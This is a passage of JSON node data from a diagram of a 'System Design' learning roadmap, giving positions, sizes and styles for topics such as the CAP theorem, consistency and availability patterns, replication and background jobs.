{\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#0d0d0d\"\n        }\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -302.683453649206,\n        \"y\": 1151.5927435005694\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 330\n      }\n    },\n    {\n      \"id\": \"FwGeTZ0ItXYI9Nn5skyx0\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 292.88281941246055,\n        \"y\": 845.4632786581586\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 202,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 202\n      },\n      \"positionAbsolute\": {\n        \"x\": 292.88281941246055,\n        \"y\": 845.4632786581586\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 202\n      }\n    },\n    {\n      \"id\": \"JTHRP_HfSOwmqJErt9tGB\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 351.3560256958008,\n        \"y\": 566.171875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 80,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 80,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 351.3560256958008,\n        \"y\": 566.171875\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 80,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"bCRi5W6CHyle35zUo56er\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 23.85602569580078,\n        \"y\": 566.171875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"JTHRP_HfSOwmqJErt9tGB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 95,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 95,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 23.85602569580078,\n        \"y\": 566.171875\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 95,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"urVudVWogiwLJMybuf7f8\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 428.8560256958008,\n        \"y\": 551.671875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 328,\n      \"height\": 206,\n      \"style\": {\n        \"width\": 328,\n        \"height\": 206\n      },\n      \"positionAbsolute\": {\n        \"x\": 428.8560256958008,\n        \"y\": 551.671875\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 328,\n        \"height\": 206\n      }\n    },\n    {\n      \"id\": \"sM7epahS3ZKtTKcpC7aYw\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -303.1439743041992,\n        \"y\": 500.171875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#fcfcfc\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 166,\n      \"height\": 146,\n      \"style\": {\n        \"width\": 166,\n        \"height\": 146\n      },\n      \"positionAbsolute\": {\n        \"x\": -303.1439743041992,\n        \"y\": 500.171875\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 146\n      }\n    },\n    {\n      \"id\": \"FguoNXuSg-7m3z5dp0fp6\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 21.361812728006612,\n        \"y\": 387.87833957831333\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 109,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 21.361812728006612,\n        \"y\": 387.87833957831333\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"MRD8SlWGmk8hoaZL6U690\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -304.6381872719934,\n        \"y\": 260.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 327,\n      \"height\": 163,\n      \"style\": {\n        \"width\": 327,\n        \"height\": 163\n      },\n      \"positionAbsolute\": {\n        \"x\": -304.6381872719934,\n        \"y\": 260.40074822234897\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 327,\n        \"height\": 163\n      }\n    },\n    {\n      \"width\": 229,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": 114.5,\n        \"y\": 73.40074822234891\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"System Design\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 114.5,\n        \"y\": 73.40074822234891\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 247,\n      \"height\": 49,\n      \"id\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 105.5,\n        \"y\": 214.37833957831333\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Introduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"c1edrcSmHO_L2e9DGh7st\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 105.5,\n        \"y\": 214.37833957831333\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 308,\n      \"height\": 49,\n      \"id\": \"idLHBxhvcIqZTqmh_E8Az\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 432.83333333333337,\n        \"y\": 188\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"What is System Design?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ON96SUBYYQV81XlBSG_4T\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 432.83333333333337,\n        \"y\": 188\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 308,\n      \"height\": 49,\n      \"id\": \"os3Pa6W9SSNEzgmlBbglQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 432.83333333333337,\n        \"y\": 242\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"How to approach System Design?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3lUgpZi3KsKUkK0bW3XmS\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 432.83333333333337,\n        \"y\": 242\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Yj8mGmDmELssP8D_Ujh0F\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 218.5,\n        \"y\": -24.59925177765109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 93,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 93\n      },\n      \"positionAbsolute\": {\n        \"x\": 218.5,\n        \"y\": -24.59925177765109\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 93\n      }\n    },\n    {\n      \"id\": \"e_15lymUjFc6VWqzPnKxG\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 105.5,\n        \"y\": 267.37833957831333\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Performance vs Scalability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 105.5,\n        \"y\": 267.37833957831333\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O3wAHLnzrkvLWr4afHDdr\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 105.5,\n        \"y\": 320.37833957831333\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Latency vs Throughput\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 105.5,\n        \"y\": 320.37833957831333\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uJc27BNAuP321HQNbjftn\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 105.5,\n        \"y\": 373.37833957831333\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Availability vs Consistency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 105.5,\n        \"y\": 373.37833957831333\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tcGdVQsCEobdV9hgOq3eG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -294.6381872719934,\n        \"y\": 363.37833957831333\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CAP Theorem\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 305,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -294.6381872719934,\n        \"y\": 363.37833957831333\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 305,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"m4xqKqnCvrCc13oO86z1h\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -294.6381872719934,\n        \"y\": 276\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AP - Availability + Partition Tolerance\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 295,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -294.6381872719934,\n        \"y\": 276\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 295,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"2b5j0CJbR1NahDu9VmB6F\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -294.6381872719934,\n        \"y\": 316.87833957831333\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CP - Consistency + Partition Tolerance\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 312,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -294.6381872719934,\n        \"y\": 316.87833957831333\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 312,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"GHe8V-REu1loRpDnHbyUn\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 105.5,\n        \"y\": 426.37833957831333\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Consistency Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 105.5,\n        \"y\": 426.37833957831333\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EKD5AikZtwjtsEYRPJhQ2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 455.3560256958008,\n        \"y\": 373.671875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Weak Consistency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 455.3560256958008,\n        \"y\": 373.671875\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rRDGVynX43inSeQ9lR_FS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 455.3560256958008,\n        \"y\": 426.671875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Eventual Consistency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 455.3560256958008,\n        \"y\": 426.671875\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JjB7eB8gdRCAYf5M0RcT7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 455.33333333333337,\n        \"y\": 480.671875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Strong Consistency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 455.33333333333337,\n        \"y\": 480.671875\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ezptoTqeaepByegxS5kHL\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 105.5,\n        \"y\": 551.671875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Availability Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 105.5,\n        \"y\": 551.671875\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"L_jRfjvMGjFbHEbozeVQl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -290.6439743041992,\n        \"y\": 583.171875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Fail-Over\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 141,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -290.6439743041992,\n        \"y\": 583.171875\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 141,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"d_Cg6Zjyf2HEs0l5cpX8P\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -281.6439743041992,\n        \"y\": 511.171875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Active - Active\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 123,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -281.6439743041992,\n        \"y\": 511.171875\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 123,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"OUz9JOof4kkNAIsTzklS3\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -287.6439743041992,\n        \"y\": 542.171875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Active - Passive\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 135,\n        \"height\": 36\n      },\n      \"positionAbsolute\": {\n        \"x\": -287.6439743041992,\n        \"y\": 542.171875\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"vJkqOyqXGa-aRjx3M1H-K\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -141.14397430419922,\n        \"y\": 500.171875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#fcfcfc\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"sM7epahS3ZKtTKcpC7aYw\"\n      },\n      \"zIndex\": -999,\n      \"width\": 166,\n      \"height\": 146,\n      \"style\": {\n        \"width\": 166,\n        \"height\": 146\n      },\n      \"positionAbsolute\": {\n        \"x\": -141.14397430419922,\n        \"y\": 500.171875\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 146\n      }\n    },\n    {\n      \"id\": \"0RQ5jzZKdadYY0h_QZ0Bb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -128.64397430419922,\n        \"y\": 583.171875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Replication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"L_jRfjvMGjFbHEbozeVQl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 141,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -128.64397430419922,\n        \"y\": 583.171875\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 141,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mKV71c9XnnRbgVlmwlsbw\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -121.14397430419922,\n        \"y\": 511.171875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Master - Slave\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"d_Cg6Zjyf2HEs0l5cpX8P\"\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -121.14397430419922,\n        \"y\": 511.171875\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"K8xJZfEGkwOFcqb7CRJ7f\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -127.64397430419922,\n        \"y\": 542.171875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Master - Master\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"OUz9JOof4kkNAIsTzklS3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 140,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -127.64397430419922,\n        \"y\": 542.171875\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"uHdrZllrZFAnVkwIB3y5-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 441.3560256958008,\n        \"y\": 695.921875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Availability in Numbers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"L_jRfjvMGjFbHEbozeVQl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 304,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 304,\n        \"height\": 50\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 441.3560256958008,\n        \"y\": 695.921875\n      },\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"0mI68m25Zrhj6Uoc1om2B\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 445.3560256958008,\n        \"y\": 571.671875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"99.9% Availability - three 9s\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"rgadr3yf8Xq_1kCEJ0exf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 445.3560256958008,\n        \"y\": 571.671875\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"rgadr3yf8Xq_1kCEJ0exf\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 445.3560256958008,\n        \"y\": 611.421875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"99.99% Availability - four 9s\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 445.3560256958008,\n        \"y\": 611.421875\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"XJrLBec_U4QXa7IOecFbL\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 445.3560256958008,\n        \"y\": 651.171875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Availability in Parallel vs Sequence\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"rgadr3yf8Xq_1kCEJ0exf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 445.3560256958008,\n        \"y\": 651.171875\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"DOESIlBThd_wp2uOSd_CS\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -38.450004973186594,\n        \"y\": 708.671875\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Background Jobs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -38.450004973186594,\n        \"y\": 708.671875\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NEsPjQifNDlZJE-2YLVl1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -300.8123473873875,\n        \"y\": 682.5759021485857\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Event-Driven\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -300.8123473873875,\n        \"y\": 682.5759021485857\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zoViI4kzpKIxpU20T89K_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -300.8123473873875,\n        \"y\": 735.5759021485857\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Schedule Driven\",\n        \"style\": {\n          